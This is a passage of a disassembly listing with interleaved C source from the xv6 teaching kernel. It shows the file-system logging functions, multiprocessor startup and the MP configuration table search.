80102a0a: e8 c1 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a0f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102a15: 31 d2 xor %edx,%edx
80102a17: 85 db test %ebx,%ebx
struct buf *buf = bread(log.dev, log.start);
80102a19: 89 c7 mov %eax,%edi
hb->n = log.lh.n;
80102a1b: 89 58 5c mov %ebx,0x5c(%eax)
80102a1e: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102a21: 7e 17 jle 80102a3a <write_head+0x4a>
80102a23: 90 nop
80102a24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102a28: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx
80102a2f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4)
for (i = 0; i < log.lh.n; i++) {
80102a33: 83 c2 01 add $0x1,%edx
80102a36: 39 da cmp %ebx,%edx
80102a38: 75 ee jne 80102a28 <write_head+0x38>
}
bwrite(buf);
80102a3a: 89 3c 24 mov %edi,(%esp)
80102a3d: e8 5e d7 ff ff call 801001a0 <bwrite>
brelse(buf);
80102a42: 89 3c 24 mov %edi,(%esp)
80102a45: e8 96 d7 ff ff call 801001e0 <brelse>
}
80102a4a: 83 c4 1c add $0x1c,%esp
80102a4d: 5b pop %ebx
80102a4e: 5e pop %esi
80102a4f: 5f pop %edi
80102a50: 5d pop %ebp
80102a51: c3 ret
80102a52: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a60 <initlog>:
{
80102a60: 55 push %ebp
80102a61: 89 e5 mov %esp,%ebp
80102a63: 56 push %esi
80102a64: 53 push %ebx
80102a65: 83 ec 30 sub $0x30,%esp
80102a68: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&log.lock, "log");
80102a6b: c7 44 24 04 e0 72 10 movl $0x801072e0,0x4(%esp)
80102a72: 80
80102a73: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102a7a: e8 c1 15 00 00 call 80104040 <initlock>
readsb(dev, &sb);
80102a7f: 8d 45 dc lea -0x24(%ebp),%eax
80102a82: 89 44 24 04 mov %eax,0x4(%esp)
80102a86: 89 1c 24 mov %ebx,(%esp)
80102a89: e8 f2 e8 ff ff call 80101380 <readsb>
log.start = sb.logstart;
80102a8e: 8b 45 ec mov -0x14(%ebp),%eax
log.size = sb.nlog;
80102a91: 8b 55 e8 mov -0x18(%ebp),%edx
struct buf *buf = bread(log.dev, log.start);
80102a94: 89 1c 24 mov %ebx,(%esp)
log.dev = dev;
80102a97: 89 1d c4 26 11 80 mov %ebx,0x801126c4
struct buf *buf = bread(log.dev, log.start);
80102a9d: 89 44 24 04 mov %eax,0x4(%esp)
log.size = sb.nlog;
80102aa1: 89 15 b8 26 11 80 mov %edx,0x801126b8
log.start = sb.logstart;
80102aa7: a3 b4 26 11 80 mov %eax,0x801126b4
struct buf *buf = bread(log.dev, log.start);
80102aac: e8 1f d6 ff ff call 801000d0 <bread>
for (i = 0; i < log.lh.n; i++) {
80102ab1: 31 d2 xor %edx,%edx
log.lh.n = lh->n;
80102ab3: 8b 58 5c mov 0x5c(%eax),%ebx
80102ab6: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102ab9: 85 db test %ebx,%ebx
log.lh.n = lh->n;
80102abb: 89 1d c8 26 11 80 mov %ebx,0x801126c8
for (i = 0; i < log.lh.n; i++) {
80102ac1: 7e 17 jle 80102ada <initlog+0x7a>
80102ac3: 90 nop
80102ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = lh->block[i];
80102ac8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx
80102acc: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
for (i = 0; i < log.lh.n; i++) {
80102ad3: 83 c2 01 add $0x1,%edx
80102ad6: 39 da cmp %ebx,%edx
80102ad8: 75 ee jne 80102ac8 <initlog+0x68>
brelse(buf);
80102ada: 89 04 24 mov %eax,(%esp)
80102add: e8 fe d6 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102ae2: e8 69 fe ff ff call 80102950 <install_trans>
log.lh.n = 0;
80102ae7: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102aee: 00 00 00
write_head(); // clear the log
80102af1: e8 fa fe ff ff call 801029f0 <write_head>
}
80102af6: 83 c4 30 add $0x30,%esp
80102af9: 5b pop %ebx
80102afa: 5e pop %esi
80102afb: 5d pop %ebp
80102afc: c3 ret
80102afd: 8d 76 00 lea 0x0(%esi),%esi
80102b00 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102b00: 55 push %ebp
80102b01: 89 e5 mov %esp,%ebp
80102b03: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80102b06: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b0d: e8 1e 16 00 00 call 80104130 <acquire>
80102b12: eb 18 jmp 80102b2c <begin_op+0x2c>
80102b14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102b18: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp)
80102b1f: 80
80102b20: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b27: e8 c4 10 00 00 call 80103bf0 <sleep>
if(log.committing){
80102b2c: a1 c0 26 11 80 mov 0x801126c0,%eax
80102b31: 85 c0 test %eax,%eax
80102b33: 75 e3 jne 80102b18 <begin_op+0x18>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102b35: a1 bc 26 11 80 mov 0x801126bc,%eax
80102b3a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102b40: 83 c0 01 add $0x1,%eax
80102b43: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102b46: 8d 14 4a lea (%edx,%ecx,2),%edx
80102b49: 83 fa 1e cmp $0x1e,%edx
80102b4c: 7f ca jg 80102b18 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102b4e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
log.outstanding += 1;
80102b55: a3 bc 26 11 80 mov %eax,0x801126bc
release(&log.lock);
80102b5a: e8 c1 16 00 00 call 80104220 <release>
break;
}
}
}
80102b5f: c9 leave
80102b60: c3 ret
80102b61: eb 0d jmp 80102b70 <end_op>
80102b63: 90 nop
80102b64: 90 nop
80102b65: 90 nop
80102b66: 90 nop
80102b67: 90 nop
80102b68: 90 nop
80102b69: 90 nop
80102b6a: 90 nop
80102b6b: 90 nop
80102b6c: 90 nop
80102b6d: 90 nop
80102b6e: 90 nop
80102b6f: 90 nop
80102b70 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102b70: 55 push %ebp
80102b71: 89 e5 mov %esp,%ebp
80102b73: 57 push %edi
80102b74: 56 push %esi
80102b75: 53 push %ebx
80102b76: 83 ec 1c sub $0x1c,%esp
int do_commit = 0;
acquire(&log.lock);
80102b79: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b80: e8 ab 15 00 00 call 80104130 <acquire>
log.outstanding -= 1;
80102b85: a1 bc 26 11 80 mov 0x801126bc,%eax
if(log.committing)
80102b8a: 8b 15 c0 26 11 80 mov 0x801126c0,%edx
log.outstanding -= 1;
80102b90: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102b93: 85 d2 test %edx,%edx
log.outstanding -= 1;
80102b95: a3 bc 26 11 80 mov %eax,0x801126bc
if(log.committing)
80102b9a: 0f 85 f3 00 00 00 jne 80102c93 <end_op+0x123>
panic("log.committing");
if(log.outstanding == 0){
80102ba0: 85 c0 test %eax,%eax
80102ba2: 0f 85 cb 00 00 00 jne 80102c73 <end_op+0x103>
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102ba8: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
}
static void
commit()
{
if (log.lh.n > 0) {
80102baf: 31 db xor %ebx,%ebx
log.committing = 1;
80102bb1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0
80102bb8: 00 00 00
release(&log.lock);
80102bbb: e8 60 16 00 00 call 80104220 <release>
if (log.lh.n > 0) {
80102bc0: a1 c8 26 11 80 mov 0x801126c8,%eax
80102bc5: 85 c0 test %eax,%eax
80102bc7: 0f 8e 90 00 00 00 jle 80102c5d <end_op+0xed>
80102bcd: 8d 76 00 lea 0x0(%esi),%esi
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102bd0: a1 b4 26 11 80 mov 0x801126b4,%eax
80102bd5: 01 d8 add %ebx,%eax
80102bd7: 83 c0 01 add $0x1,%eax
80102bda: 89 44 24 04 mov %eax,0x4(%esp)
80102bde: a1 c4 26 11 80 mov 0x801126c4,%eax
80102be3: 89 04 24 mov %eax,(%esp)
80102be6: e8 e5 d4 ff ff call 801000d0 <bread>
80102beb: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102bed: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
for (tail = 0; tail < log.lh.n; tail++) {
80102bf4: 83 c3 01 add $0x1,%ebx
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102bf7: 89 44 24 04 mov %eax,0x4(%esp)
80102bfb: a1 c4 26 11 80 mov 0x801126c4,%eax
80102c00: 89 04 24 mov %eax,(%esp)
80102c03: e8 c8 d4 ff ff call 801000d0 <bread>
memmove(to->data, from->data, BSIZE);
80102c08: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102c0f: 00
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c10: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102c12: 8d 40 5c lea 0x5c(%eax),%eax
80102c15: 89 44 24 04 mov %eax,0x4(%esp)
80102c19: 8d 46 5c lea 0x5c(%esi),%eax
80102c1c: 89 04 24 mov %eax,(%esp)
80102c1f: e8 ec 16 00 00 call 80104310 <memmove>
bwrite(to); // write the log
80102c24: 89 34 24 mov %esi,(%esp)
80102c27: e8 74 d5 ff ff call 801001a0 <bwrite>
brelse(from);
80102c2c: 89 3c 24 mov %edi,(%esp)
80102c2f: e8 ac d5 ff ff call 801001e0 <brelse>
brelse(to);
80102c34: 89 34 24 mov %esi,(%esp)
80102c37: e8 a4 d5 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102c3c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx
80102c42: 7c 8c jl 80102bd0 <end_op+0x60>
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102c44: e8 a7 fd ff ff call 801029f0 <write_head>
install_trans(); // Now install writes to home locations
80102c49: e8 02 fd ff ff call 80102950 <install_trans>
log.lh.n = 0;
80102c4e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102c55: 00 00 00
write_head(); // Erase the transaction from the log
80102c58: e8 93 fd ff ff call 801029f0 <write_head>
acquire(&log.lock);
80102c5d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c64: e8 c7 14 00 00 call 80104130 <acquire>
log.committing = 0;
80102c69: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0
80102c70: 00 00 00
wakeup(&log);
80102c73: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c7a: e8 01 11 00 00 call 80103d80 <wakeup>
release(&log.lock);
80102c7f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c86: e8 95 15 00 00 call 80104220 <release>
}
80102c8b: 83 c4 1c add $0x1c,%esp
80102c8e: 5b pop %ebx
80102c8f: 5e pop %esi
80102c90: 5f pop %edi
80102c91: 5d pop %ebp
80102c92: c3 ret
panic("log.committing");
80102c93: c7 04 24 e4 72 10 80 movl $0x801072e4,(%esp)
80102c9a: e8 c1 d6 ff ff call 80100360 <panic>
80102c9f: 90 nop
80102ca0 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102ca0: 55 push %ebp
80102ca1: 89 e5 mov %esp,%ebp
80102ca3: 53 push %ebx
80102ca4: 83 ec 14 sub $0x14,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102ca7: a1 c8 26 11 80 mov 0x801126c8,%eax
{
80102cac: 8b 5d 08 mov 0x8(%ebp),%ebx
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102caf: 83 f8 1d cmp $0x1d,%eax
80102cb2: 0f 8f 98 00 00 00 jg 80102d50 <log_write+0xb0>
80102cb8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx
80102cbe: 8d 51 ff lea -0x1(%ecx),%edx
80102cc1: 39 d0 cmp %edx,%eax
80102cc3: 0f 8d 87 00 00 00 jge 80102d50 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102cc9: a1 bc 26 11 80 mov 0x801126bc,%eax
80102cce: 85 c0 test %eax,%eax
80102cd0: 0f 8e 86 00 00 00 jle 80102d5c <log_write+0xbc>
panic("log_write outside of trans");
acquire(&log.lock);
80102cd6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102cdd: e8 4e 14 00 00 call 80104130 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102ce2: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102ce8: 83 fa 00 cmp $0x0,%edx
80102ceb: 7e 54 jle 80102d41 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102ced: 8b 4b 08 mov 0x8(%ebx),%ecx
for (i = 0; i < log.lh.n; i++) {
80102cf0: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102cf2: 39 0d cc 26 11 80 cmp %ecx,0x801126cc
80102cf8: 75 0f jne 80102d09 <log_write+0x69>
80102cfa: eb 3c jmp 80102d38 <log_write+0x98>
80102cfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102d00: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4)
80102d07: 74 2f je 80102d38 <log_write+0x98>
for (i = 0; i < log.lh.n; i++) {
80102d09: 83 c0 01 add $0x1,%eax
80102d0c: 39 d0 cmp %edx,%eax
80102d0e: 75 f0 jne 80102d00 <log_write+0x60>
break;
}
log.lh.block[i] = b->blockno;
80102d10: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102d17: 83 c2 01 add $0x1,%edx
80102d1a: 89 15 c8 26 11 80 mov %edx,0x801126c8
b->flags |= B_DIRTY; // prevent eviction
80102d20: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102d23: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp)
}
80102d2a: 83 c4 14 add $0x14,%esp
80102d2d: 5b pop %ebx
80102d2e: 5d pop %ebp
release(&log.lock);
80102d2f: e9 ec 14 00 00 jmp 80104220 <release>
80102d34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = b->blockno;
80102d38: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4)
80102d3f: eb df jmp 80102d20 <log_write+0x80>
80102d41: 8b 43 08 mov 0x8(%ebx),%eax
80102d44: a3 cc 26 11 80 mov %eax,0x801126cc
if (i == log.lh.n)
80102d49: 75 d5 jne 80102d20 <log_write+0x80>
80102d4b: eb ca jmp 80102d17 <log_write+0x77>
80102d4d: 8d 76 00 lea 0x0(%esi),%esi
panic("too big a transaction");
80102d50: c7 04 24 f3 72 10 80 movl $0x801072f3,(%esp)
80102d57: e8 04 d6 ff ff call 80100360 <panic>
panic("log_write outside of trans");
80102d5c: c7 04 24 09 73 10 80 movl $0x80107309,(%esp)
80102d63: e8 f8 d5 ff ff call 80100360 <panic>
80102d68: 66 90 xchg %ax,%ax
80102d6a: 66 90 xchg %ax,%ax
80102d6c: 66 90 xchg %ax,%ax
80102d6e: 66 90 xchg %ax,%ax
80102d70 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102d70: 55 push %ebp
80102d71: 89 e5 mov %esp,%ebp
80102d73: 53 push %ebx
80102d74: 83 ec 14 sub $0x14,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102d77: e8 f4 08 00 00 call 80103670 <cpuid>
80102d7c: 89 c3 mov %eax,%ebx
80102d7e: e8 ed 08 00 00 call 80103670 <cpuid>
80102d83: 89 5c 24 08 mov %ebx,0x8(%esp)
80102d87: c7 04 24 24 73 10 80 movl $0x80107324,(%esp)
80102d8e: 89 44 24 04 mov %eax,0x4(%esp)
80102d92: e8 b9 d8 ff ff call 80100650 <cprintf>
idtinit(); // load idt register
80102d97: e8 44 27 00 00 call 801054e0 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102d9c: e8 4f 08 00 00 call 801035f0 <mycpu>
80102da1: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102da3: b8 01 00 00 00 mov $0x1,%eax
80102da8: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102daf: e8 9c 0b 00 00 call 80103950 <scheduler>
80102db4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102dba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102dc0 <mpenter>:
{
80102dc0: 55 push %ebp
80102dc1: 89 e5 mov %esp,%ebp
80102dc3: 83 ec 08 sub $0x8,%esp
switchkvm();
80102dc6: e8 a5 38 00 00 call 80106670 <switchkvm>
seginit();
80102dcb: e8 e0 37 00 00 call 801065b0 <seginit>
lapicinit();
80102dd0: e8 8b f8 ff ff call 80102660 <lapicinit>
mpmain();
80102dd5: e8 96 ff ff ff call 80102d70 <mpmain>
80102dda: 66 90 xchg %ax,%ax
80102ddc: 66 90 xchg %ax,%ax
80102dde: 66 90 xchg %ax,%ax
80102de0 <main>:
{
80102de0: 55 push %ebp
80102de1: 89 e5 mov %esp,%ebp
80102de3: 53 push %ebx
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102de4: bb 80 27 11 80 mov $0x80112780,%ebx
{
80102de9: 83 e4 f0 and $0xfffffff0,%esp
80102dec: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102def: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80102df6: 80
80102df7: c7 04 24 f4 58 11 80 movl $0x801158f4,(%esp)
80102dfe: e8 cd f5 ff ff call 801023d0 <kinit1>
kvmalloc(); // kernel page table
80102e03: e8 f8 3c 00 00 call 80106b00 <kvmalloc>
mpinit(); // detect other processors
80102e08: e8 73 01 00 00 call 80102f80 <mpinit>
80102e0d: 8d 76 00 lea 0x0(%esi),%esi
lapicinit(); // interrupt controller
80102e10: e8 4b f8 ff ff call 80102660 <lapicinit>
seginit(); // segment descriptors
80102e15: e8 96 37 00 00 call 801065b0 <seginit>
picinit(); // disable pic
80102e1a: e8 21 03 00 00 call 80103140 <picinit>
80102e1f: 90 nop
ioapicinit(); // another interrupt controller
80102e20: e8 cb f3 ff ff call 801021f0 <ioapicinit>
consoleinit(); // console hardware
80102e25: e8 26 db ff ff call 80100950 <consoleinit>
uartinit(); // serial port
80102e2a: e8 a1 2a 00 00 call 801058d0 <uartinit>
80102e2f: 90 nop
pinit(); // process table
80102e30: e8 9b 07 00 00 call 801035d0 <pinit>
shminit(); // shared memory
80102e35: e8 76 3f 00 00 call 80106db0 <shminit>
tvinit(); // trap vectors
80102e3a: e8 01 26 00 00 call 80105440 <tvinit>
80102e3f: 90 nop
binit(); // buffer cache
80102e40: e8 fb d1 ff ff call 80100040 <binit>
fileinit(); // file table
80102e45: e8 e6 de ff ff call 80100d30 <fileinit>
ideinit(); // disk
80102e4a: e8 a1 f1 ff ff call 80101ff0 <ideinit>
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102e4f: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp)
80102e56: 00
80102e57: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp)
80102e5e: 80
80102e5f: c7 04 24 00 70 00 80 movl $0x80007000,(%esp)
80102e66: e8 a5 14 00 00 call 80104310 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102e6b: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102e72: 00 00 00
80102e75: 05 80 27 11 80 add $0x80112780,%eax
80102e7a: 39 d8 cmp %ebx,%eax
80102e7c: 76 65 jbe 80102ee3 <main+0x103>
80102e7e: 66 90 xchg %ax,%ax
if(c == mycpu()) // We've started already.
80102e80: e8 6b 07 00 00 call 801035f0 <mycpu>
80102e85: 39 d8 cmp %ebx,%eax
80102e87: 74 41 je 80102eca <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102e89: e8 02 f6 ff ff call 80102490 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
*(void**)(code-8) = mpenter;
80102e8e: c7 05 f8 6f 00 80 c0 movl $0x80102dc0,0x80006ff8
80102e95: 2d 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102e98: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102e9f: 90 10 00
*(void**)(code-4) = stack + KSTACKSIZE;
80102ea2: 05 00 10 00 00 add $0x1000,%eax
80102ea7: a3 fc 6f 00 80 mov %eax,0x80006ffc
lapicstartap(c->apicid, V2P(code));
80102eac: 0f b6 03 movzbl (%ebx),%eax
80102eaf: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp)
80102eb6: 00
80102eb7: 89 04 24 mov %eax,(%esp)
80102eba: e8 e1 f8 ff ff call 801027a0 <lapicstartap>
80102ebf: 90 nop
// wait for cpu to finish mpmain()
while(c->started == 0)
80102ec0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80102ec6: 85 c0 test %eax,%eax
80102ec8: 74 f6 je 80102ec0 <main+0xe0>
for(c = cpus; c < cpus+ncpu; c++){
80102eca: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102ed1: 00 00 00
80102ed4: 81 c3 b0 00 00 00 add $0xb0,%ebx
80102eda: 05 80 27 11 80 add $0x80112780,%eax
80102edf: 39 c3 cmp %eax,%ebx
80102ee1: 72 9d jb 80102e80 <main+0xa0>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102ee3: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80102eea: 8e
80102eeb: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
80102ef2: e8 49 f5 ff ff call 80102440 <kinit2>
userinit(); // first user process
80102ef7: e8 c4 07 00 00 call 801036c0 <userinit>
mpmain(); // finish this processor's setup
80102efc: e8 6f fe ff ff call 80102d70 <mpmain>
80102f01: 66 90 xchg %ax,%ax
80102f03: 66 90 xchg %ax,%ax
80102f05: 66 90 xchg %ax,%ax
80102f07: 66 90 xchg %ax,%ax
80102f09: 66 90 xchg %ax,%ax
80102f0b: 66 90 xchg %ax,%ax
80102f0d: 66 90 xchg %ax,%ax
80102f0f: 90 nop
80102f10 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f10: 55 push %ebp
80102f11: 89 e5 mov %esp,%ebp
80102f13: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
80102f14: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
{
80102f1a: 53 push %ebx
e = addr+len;
80102f1b: 8d 1c 16 lea (%esi,%edx,1),%ebx
{
80102f1e: 83 ec 10 sub $0x10,%esp
for(p = addr; p < e; p += sizeof(struct mp))
80102f21: 39 de cmp %ebx,%esi
80102f23: 73 3c jae 80102f61 <mpsearch1+0x51>
80102f25: 8d 76 00 lea 0x0(%esi),%esi
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f28: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102f2f: 00
80102f30: c7 44 24 04 38 73 10 movl $0x80107338,0x4(%esp)
80102f37: 80
80102f38: 89 34 24 mov %esi,(%esp)
80102f3b: e8 80 13 00 00 call 801042c0 <memcmp>
80102f40: 85 c0 test %eax,%eax
80102f42: 75 16 jne 80102f5a <mpsearch1+0x4a>
80102f44: 31 c9 xor %ecx,%ecx
80102f46: 31 d2 xor %edx,%edx
sum += addr[i];
80102f48: 0f b6 04 16 movzbl (%esi,%edx,1),%eax
for(i=0; i<len; i++)
80102f4c: 83 c2 01 add $0x1,%edx
sum += addr[i];
80102f4f: 01 c1 add %eax,%ecx
for(i=0; i<len; i++)
80102f51: 83 fa 10 cmp $0x10,%edx
80102f54: 75 f2 jne 80102f48 <mpsearch1+0x38>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f56: 84 c9 test %cl,%cl
80102f58: 74 10 je 80102f6a <mpsearch1+0x5a>
for(p = addr; p < e; p += sizeof(struct mp))
80102f5a: 83 c6 10 add $0x10,%esi
80102f5d: 39 f3 cmp %esi,%ebx
80102f5f: 77 c7 ja 80102f28 <mpsearch1+0x18>
return (struct mp*)p;
return 0;
}
80102f61: 83 c4 10 add $0x10,%esp
return 0;
80102f64: 31 c0 xor %eax,%eax
}
80102f66: 5b pop %ebx
80102f67: 5e pop %esi
80102f68: 5d pop %ebp
80102f69: c3 ret
80102f6a: 83 c4 10 add $0x10,%esp
80102f6d: 89 f0 mov %esi,%eax
80102f6f: 5b pop %ebx
80102f70: 5e pop %esi
80102f71: 5d pop %ebp
80102f72: c3 ret
80102f73: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102f79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102f80 <mpinit>:
return conf;
}
void
mpinit(void)
{
80102f80: 55 push %ebp
80102f81: 89 e5 mov %esp,%ebp
80102f83: 57 push %edi
80102f84: 56 push %esi
80102f85: 53 push %ebx
80102f86: 83 ec 1c sub $0x1c,%esp
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80102f89: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80102f90: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80102f97: c1 e0 08 shl $0x8,%eax
80102f9a: 09 d0 or %edx,%eax
80102f9c: c1 e0 04 shl $0x4,%eax
80102f9f: 85 c0 test %eax,%eax
80102fa1: 75 1b jne 80102fbe <mpinit+0x3e>
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80102fa3: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
80102faa: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80102fb1: c1 e0 08 shl $0x8,%eax
80102fb4: 09 d0 or %edx,%eax
80102fb6: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80102fb9: 2d 00 04 00 00 sub $0x400,%eax
if((mp = mpsearch1(p, 1024)))
80102fbe: ba 00 04 00 00 mov $0x400,%edx
80102fc3: e8 48 ff ff ff call 80102f10 <mpsearch1>
80102fc8: 85 c0 test %eax,%eax
80102fca: 89 c7 mov %eax,%edi
80102fcc: 0f 84 22 01 00 00 je 801030f4 <mpinit+0x174>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80102fd2: 8b 77 04 mov 0x4(%edi),%esi
80102fd5: 85 f6 test %esi,%esi
80102fd7: 0f 84 30 01 00 00 je 8010310d <mpinit+0x18d>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80102fdd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
if(memcmp(conf, "PCMP", 4) != 0)
80102fe3: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102fea: 00
80102feb: c7 44 24 04 3d 73 10 movl $0x8010733d,0x4(%esp)
80102ff2: 80
80102ff3: 89 04 24 mov %eax,(%esp)
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80102ff6: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80102ff9: e8 c2 12 00 00 call 801042c0 <memcmp>
80102ffe: 85 c0 test %eax,%eax
80103000: 0f 85 07 01 00 00 jne 8010310d <mpinit+0x18d>
if(conf->version != 1 && conf->version != 4)
80103006: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax
8010300d: 3c 04 cmp $0x4,%al
8010300f: 0f 85 0b 01 00 00 jne 80103120 <mpinit+0x1a0>
if(sum((uchar*)conf, conf->length) != 0)
80103015: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax
for(i=0; i<len; i++)
8010301c: 85 c0 test %eax,%eax
8010301e: 74 21 je 80103041 <mpinit+0xc1>
sum = 0;
